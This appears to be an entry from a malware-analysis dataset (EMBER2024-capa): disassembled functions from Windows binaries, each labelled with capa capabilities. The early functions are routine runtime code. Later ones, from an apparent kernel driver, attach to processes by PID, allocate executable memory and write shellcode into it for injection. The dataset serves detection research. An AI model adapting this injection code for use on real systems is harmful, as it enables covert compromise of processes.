joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18007eba0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180067c10
sub rsp, rax
mov rax, qword [0x180091100]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180078dbc
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18007ebef
mov rax, rbp
jmp 0x18007ecf7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x10cbc0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180081584
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x10cbc0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x18007ecf3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18007ecf3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180081584
test rax, rax
js 0x18007ecf3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x18007ecf3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x18007ece5
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x18007ece5
cmp byte [rcx], 0xd
jne 0x18007eccb
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x18007ecda
cmp byte [rcx + 1], 0xa
jne 0x18007ecda
inc rcx
jmp 0x18007ecda
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x916d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x18007ecad
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x18007ecf7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180067be0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180080924
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x18010cbc0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x18008097b
cmp word [rdx], r13w
jne 0x18008097b
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180080980
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180080aa5
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x180080ac6
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1800809b9
mov rdx, r9
mov word [rbx], cx
jmp 0x1800809e0
cmp r9, r8
jae 0x1800809f0
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x18008099a
jmp 0x180080aa5
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180080a9a
cmp dword [rsp + 0x80], esi
je 0x180080a9a
lea r8, [0x18010cbc0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x180080a72
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x180080a42
mov word [rbx], r13w
jmp 0x180080aa2
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180080a4f
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180080aa2
cmp word [rsp + 0x70], r13w
jne 0x180080a7f
cmp rbx, r14
je 0x180080a3c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18008158c
cmp word [rsp + 0x70], r13w
je 0x180080aa5
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x18010cbc0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180080a9f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180080aa5
Function at 0x180084c08
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180084c38
xor eax, eax
jmp 0x180084cfb
mov rbp, rbx
cmp word [rax], si
je 0x180084c5d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180084c44
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180084c40
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18007c608
movsxd r14, eax
test eax, eax
jne 0x180084c9b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180084c31
mov rcx, r14
call fcn.18007c518
mov rdi, rax
test rax, rax
jne 0x180084cb4
xor ecx, ecx
call fcn.18007c094
jmp 0x180084c90
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18007c608
test eax, eax
jne 0x180084ce5
mov rcx, rdi
call fcn.18007c094
jmp 0x180084cef
xor ecx, ecx
call fcn.18007c094
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180084d18
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x180084d9f
mov rsi, rbx
cmp word [rax], bp
je 0x180084d5e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x180084d48
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x180084d44
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.18007c518
mov rdi, rax
test rax, rax
je 0x180084d8c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.18008dbe0
mov rbp, rdi
xor ecx, ecx
call fcn.18007c094
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180087e6c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1800793e0
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x180087f0d
cmp ebx, dword [rsp + 0x30]
je 0x180087f06
test esi, esi
je 0x180087f06
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x180087ee1
sub r8w, 0x61
cmp r8w, 0x19
ja 0x180087eee
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x180087ecb
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x180087ef2
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x180087f0f
mov eax, 1
jmp 0x180087f0f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x18008cd28
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18008158c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18008158c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18008ce78
cmp rax, 0xffffffffffffffff
je 0x18008ce78
xor edi, edi
test rbp, rbp
jle 0x18008ce23
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18007b234
mov rbx, rax
test rax, rax
jne 0x18008cdb0
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18008ce19
mov edx, 0x8000
mov ecx, r14d
call fcn.18008cbac
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18007bd8c
cmp eax, 0xffffffff
je 0x18008cdf9
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18008cdc0
mov edx, r15d
mov ecx, r14d
call fcn.18008cbac
jmp 0x18008ce19
cmp byte [rsi + 0x38], dil
je 0x18008ce10
cmp dword [rsi + 0x34], 5
jne 0x18008ce10
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18008ce19
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18007c094
jmp 0x18008ce8c
jns 0x18008ce8c
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18008158c
cmp rax, 0xffffffffffffffff
jne 0x18008ce44
cmp byte [rsi + 0x30], dil
je 0x18008ce8c
mov edi, dword [rsi + 0x2c]
jmp 0x18008ce8c
mov ecx, r14d
call fcn.1800858bc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18008ce8c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x18008ce8c
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18008ce85
mov eax, dword [rsi + 0x2c]
jmp 0x18008ce8a
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18008158c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x18008d780
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18008d7a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18008d7a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400012f0
Capabilities:
Access pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
and dword [rax - 0x28], 0
mov r14d, r9d
mov ebx, r8d
mov r15, rdx
mov rbp, rcx
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rdi, rax
test rax, rax
jne 0x14000132f
mov ebx, dword [rsp + 0x70]
jmp 0x1400013b6
movzx eax, word [rax + 0x18]
mov ecx, 0x10b
cmp ax, cx
je 0x14000134d
mov ecx, 0x20b
cmp ax, cx
jne 0x140001326
mov rsi, qword [rdi + 0x30]
jmp 0x140001350
mov esi, dword [rdi + 0x34]
mov r8d, 5
lea r9, [rsp + 0x20]
mov dl, 1
mov rcx, rbp
call qword [sym.imp.ntoskrnl.exe_RtlImageDirectoryEntryToData]
test rax, rax
je 0x1400013ae
mov ecx, dword [rsp + 0x20]
test ecx, ecx
je 0x1400013ae
mov rdi, rbp
sub rdi, rsi
add rdi, r15
mov edx, dword [rax + 4]
test edx, edx
je 0x140001326
sub ecx, edx
lea r8, [rax + 8]
mov dword [rsp + 0x20], ecx
add edx, 0xfffffff8
mov ecx, dword [rax]
mov r9, rdi
add rcx, rbp
shr edx, 1
call fcn.1400011cc
test rax, rax
je 0x140001326
mov ecx, dword [rsp + 0x20]
test ecx, ecx
jne 0x14000137c
jmp 0x1400013b6
test byte [rdi + 0x16], 1
cmovne ebx, r14d
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x140001530
Capabilities:
Access pe header
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x50
and dword [rax + 0x18], 0
mov r14, rcx
mov rcx, rdx
mov rbp, rdx
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rdi, rax
test rax, rax
je 0x1400016f0
mov r8d, 9
lea r9, [rsp + 0x90]
mov dl, 1
mov rcx, rbp
call qword [sym.imp.ntoskrnl.exe_RtlImageDirectoryEntryToData]
mov rbx, rax
test rax, rax
je 0x1400016f0
cmp byte [r14 + 0x58], 0
mov r12d, 0x20b
jne 0x140001681
cmp word [rdi + 0x18], r12w
jne 0x1400015a3
mov rax, qword [rax]
jmp 0x1400015a5
mov eax, dword [rax]
test rax, rax
je 0x140001681
and qword [rsp + 0x98], 0
lea r9, [rsp + 0x40]
mov eax, 0x1000
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x98]
mov dword [rsp + 0x20], eax
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x140001681
mov rcx, qword [r14 + 0x18]
call qword [sym.imp.ntoskrnl.exe_PsGetThreadTeb]
mov rcx, qword [r14]
mov rsi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetProcessWow64Process]
test rax, rax
je 0x140001631
mov ecx, dword [rsp + 0x98]
mov dword [rsi + 0x202c], ecx
cmp word [rdi + 0x18], r12w
jne 0x140001623
mov rcx, qword [rbx]
jmp 0x140001625
mov ecx, dword [rbx]
mov rax, qword [rsp + 0x98]
mov dword [rax], ecx
jmp 0x140001656
mov rax, qword [rsp + 0x98]
mov qword [rsi + 0x58], rax
cmp word [rdi + 0x18], r12w
jne 0x140001649
mov rcx, qword [rbx]
jmp 0x14000164b
mov ecx, dword [rbx]
mov rax, qword [rsp + 0x98]
mov qword [rax], rcx
mov rax, qword [rsp + 0x98]
lea r9, [0x140002c00]
xor edx, edx
mov qword [rsp + 0x20], rax
lea r8, [0x140002c20]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov byte [r14 + 0x58], 1
movzx ecx, word [rdi + 0x18]
cmp cx, r12w
jne 0x140001691
mov rbx, qword [rbx + 0x18]
jmp 0x140001694
mov ebx, dword [rbx + 0xc]
cmp cx, r12w
jne 0x14000169f
mov rax, qword [rbx]
jmp 0x1400016a1
mov eax, dword [rbx]
test rax, rax
je 0x1400016f0
cmp cx, r12w
jne 0x1400016b1
mov r8, qword [rbx]
jmp 0x1400016b4
mov r8d, dword [rbx]
and qword [rsp + 0x30], 0
mov r9d, 3
mov qword [rsp + 0x28], 1
mov rdx, r14
xor ecx, ecx
mov qword [rsp + 0x20], rbp
call fcn.1400094c4
movzx ecx, word [rdi + 0x18]
mov eax, 4
cmp cx, r12w
lea edx, [rax + 4]
cmove eax, edx
add rbx, rax
jmp 0x140001694
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001704
Capabilities:
Get system information on windows

Disassembly:
lea rdx, [rcx + 0x18]
mov rcx, qword [rcx]
jmp fcn.140008730
Function at 0x140001bd4
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140005090]
xor rax, rsp
mov qword [rbp - 8], rax
and qword [rbp - 0x40], 0
xor esi, esi
mov rbx, rdx
test rdx, rdx
je 0x140001d5f
test rcx, rcx
je 0x140001d5f
mov eax, dword [rcx]
test eax, eax
je 0x140001d5f
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x48], rcx
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x50], rcx
mov ecx, eax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov edi, eax
test eax, eax
js 0x140001d38
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x38]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov r8, qword [sym.imp.ntoskrnl.exe_MmHighestUserAddress]
lea rcx, [rbp - 0x50]
mov r9b, 1
mov edx, 0x10000
mov r8, qword [r8]
call fcn.14000c0a0
lea rcx, [rbp - 0x38]
mov edi, eax
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
test edi, edi
js 0x140001d38
mov r8, qword [rbp - 0x50]
lea rcx, [rbp - 0x50]
mov rax, r8
cmp r8, rcx
je 0x140001c98
mov rax, qword [rax]
lea rcx, [rbp - 0x50]
inc esi
cmp rax, rcx
jne 0x140001c8a
mov rax, qword [rbx]
mov ecx, esi
mov qword [rbx], rcx
cmp rax, rcx
jae 0x140001caf
mov edi, 0xc0000023
jmp 0x140001d3c
xor r9d, r9d
lea rax, [rbp - 0x50]
mov rdx, r8
cmp r8, rax
je 0x140001d45
mov rax, qword [rdx + 0x18]
lea rcx, [r9 + r9*2]
add rcx, rcx
inc r9d
mov qword [rbx + rcx*8 + 0x10], rax
mov eax, dword [rdx + 0x20]
mov dword [rbx + rcx*8 + 0x18], eax
mov rax, qword [rdx + 0x10]
mov qword [rbx + rcx*8 + 8], rax
mov eax, dword [rdx + 0x34]
mov dword [rbx + rcx*8 + 0x2c], eax
mov rax, qword [rdx + 0x28]
mov qword [rbx + rcx*8 + 0x20], rax
mov eax, dword [rdx + 0x30]
mov dword [rbx + rcx*8 + 0x28], eax
mov eax, dword [rdx + 0x38]
mov dword [rbx + rcx*8 + 0x30], eax
lea rax, [rbp - 0x50]
mov rdx, qword [rdx]
cmp rdx, rax
jne 0x140001cc2
jmp 0x140001d3c
mov rcx, qword [r8]
cmp qword [rcx + 8], r8
jne 0x140001d58
mov rax, qword [r8 + 8]
cmp qword [rax], r8
jne 0x140001d58
mov qword [rax], rcx
mov edx, 0x656e6f42
mov qword [rcx + 8], rax
mov rcx, r8
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov r8, qword [rbp - 0x50]
lea rax, [rbp - 0x50]
cmp r8, rax
jne 0x140001d11
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140001d54
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, edi
jmp 0x140001d64
mov ecx, 3
int 0x29
mov eax, 0xc000000d
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400025d0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001d80
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
and qword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rdi, rcx
mov ecx, dword [rcx + 0x10]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
js 0x140001db8
mov rdx, qword [rdi]
mov rcx, qword [rsp + 0x40]
call fcn.14000e8d0
mov ebx, eax
jmp 0x140001dd8
lfence
xor edx, edx
mov dword [rsp + 0x20], eax
lea r9, [0x140002d40]
lea r8, [0x140002cf0]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001de8
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x140001df8
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
and qword [rsp + 0x48], 0
cmp dword [0x1400055b8], 0
je 0x140001ebf
cmp dword [0x140005598], 0
je 0x140001ebf
cmp byte [0x140005588], 0
jne 0x140001e4e
xor edx, edx
lea r9, [0x140002c50]
lea r8, [0x140002cb0]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, 0xc000a004
jmp 0x140001edd
mov ecx, dword [rcx]
lea rdx, [rsp + 0x48]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov edi, eax
test eax, eax
js 0x140001e8b
mov rcx, qword [rsp + 0x48]
mov edx, dword [0x140005598]
mov rbx, qword [rdx + rcx]
xor ecx, ecx
call fcn.14000bc38
mov edx, dword [0x1400055b8]
mov rcx, rbx
add rax, rdx
call qword [0x140003330]
jmp 0x140001eab
lfence
xor edx, edx
mov dword [rsp + 0x20], edi
lea r9, [0x140002c50]
lea r8, [0x140002cf0]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140001ebb
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, edi
jmp 0x140001edd
xor edx, edx
lea r9, [0x140002c50]
lea r8, [0x140002c70]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, 0xc0000141
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x1400077b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
xor r14d, r14d
mov dword [rsp + 0x28], 0x40
mov eax, 0x1000
mov qword [rbp + 0x30], r14
mov rdi, rdx
mov qword [rbp + 0x38], rax
mov rsi, rcx
mov qword [rbp - 0x44], r14
lea rdx, [rbp + 0x30]
mov qword [rbp - 0x30], r14
or rcx, 0xffffffffffffffff
mov qword [rbp - 0x24], r14
lea r9, [rbp + 0x38]
mov qword [rbp - 0x14], r14
xor r8d, r8d
mov dword [rsp + 0x20], eax
mov dword [rbp - 0x50], 0x28ec8348
mov dword [rbp - 0x4c], 0x48c93148
mov dword [rbp - 0x48], 0xb849d231
mov qword [rbp - 0x3c], 0xb949
mov dword [rbp - 0x34], 0xb8480000
mov dword [rbp - 0x28], 0xba48d0ff
mov dword [rbp - 0x1c], 0x1e7e02c7
mov dword [rbp - 0x18], 0xba48c037
mov dword [rbp - 0xc], 0x83480289
mov word [rbp - 8], 0x28c4
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x140007903
mov rbx, qword [rbp + 0x30]
mov rdx, rdi
add rbx, 0x200
mov rcx, rbx
mov dword [rbx], 0x3d00000
mov rax, qword [rbp + 0x30]
add rax, 0x210
mov qword [rbx + 8], rax
call fcn.1400010cc
mov rcx, qword [rbp + 0x30]
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movzx eax, word [rbp - 8]
movups xmmword [rcx], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movups xmmword [rcx + 0x10], xmm1
movaps xmm1, xmmword [rbp - 0x20]
movups xmmword [rcx + 0x20], xmm0
movsd xmm0, qword [rbp - 0x10]
movups xmmword [rcx + 0x30], xmm1
movsd qword [rcx + 0x40], xmm0
mov word [rcx + 0x48], ax
mov byte [rcx + 0x4a], 0xc3
mov rax, qword [rbp + 0x30]
mov qword [rax + 0xc], rbx
mov rcx, qword [rbp + 0x30]
lea rax, [rcx + 0x5e0]
mov qword [rcx + 0x16], rax
mov rax, qword [rbp + 0x30]
mov qword [rax + 0x20], rsi
mov rcx, qword [rbp + 0x30]
lea rax, [rcx + 0x5e8]
mov qword [rcx + 0x2c], rax
mov rcx, qword [rbp + 0x30]
lea rax, [rcx + 0x5ec]
mov qword [rcx + 0x3c], rax
mov rax, qword [rbp + 0x30]
jmp 0x140007905
xor eax, eax
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140007920
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
mov eax, 0x1000
mov dword [rsp + 0x28], 0x40
mov rsi, rdx
mov qword [rbp + 0x38], rax
mov rdi, rcx
mov dword [rsp + 0x20], eax
xor ebx, ebx
mov dword [rbp - 0x30], 0x68
lea rdx, [rbp + 0x30]
mov qword [rbp + 0x30], rbx
or rcx, 0xffffffffffffffff
mov dword [rbp - 0x1c], ebx
lea r9, [rbp + 0x38]
mov dword [rbp - 0x2c], 0x6800
xor r8d, r8d
mov dword [rbp - 0x28], 0x6a0000
mov dword [rbp - 0x24], 0xe8006a
mov dword [rbp - 0x20], 0xba000000
mov dword [rbp - 0x18], 0x1e7e02c7
mov dword [rbp - 0x14], 0xbac037
mov dword [rbp - 0x10], 0x89000000
mov dword [rbp - 0xc], 0x4c202
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x140007a3f
movzx eax, word [rsi]
mov rbx, qword [rbp + 0x30]
add rbx, 0x200
mov word [rbx], ax
movzx eax, word [rsi + 2]
mov word [rbx + 2], ax
mov eax, dword [rbp + 0x30]
add eax, 0x210
mov dword [rbx + 4], eax
movzx r8d, word [rsi]
mov rdx, qword [rsi + 8]
mov ecx, eax
call fcn.140002840
mov rax, qword [rbp + 0x30]
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp - 0x10]
movups xmmword [rax + 0x10], xmm1
movsd qword [rax + 0x20], xmm0
mov rcx, qword [rbp + 0x30]
lea eax, [rcx + 0x5e0]
mov dword [rcx + 1], eax
mov rax, qword [rbp + 0x30]
mov dword [rax + 6], ebx
mov rax, qword [rbp + 0x30]
sub edi, eax
sub edi, 0x13
mov dword [rax + 0xf], edi
mov rcx, qword [rbp + 0x30]
lea eax, [rcx + 0x5e8]
mov dword [rcx + 0x14], eax
mov rcx, qword [rbp + 0x30]
lea eax, [rcx + 0x5ec]
mov dword [rcx + 0x1f], eax
mov rax, qword [rbp + 0x30]
jmp 0x140007a41
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret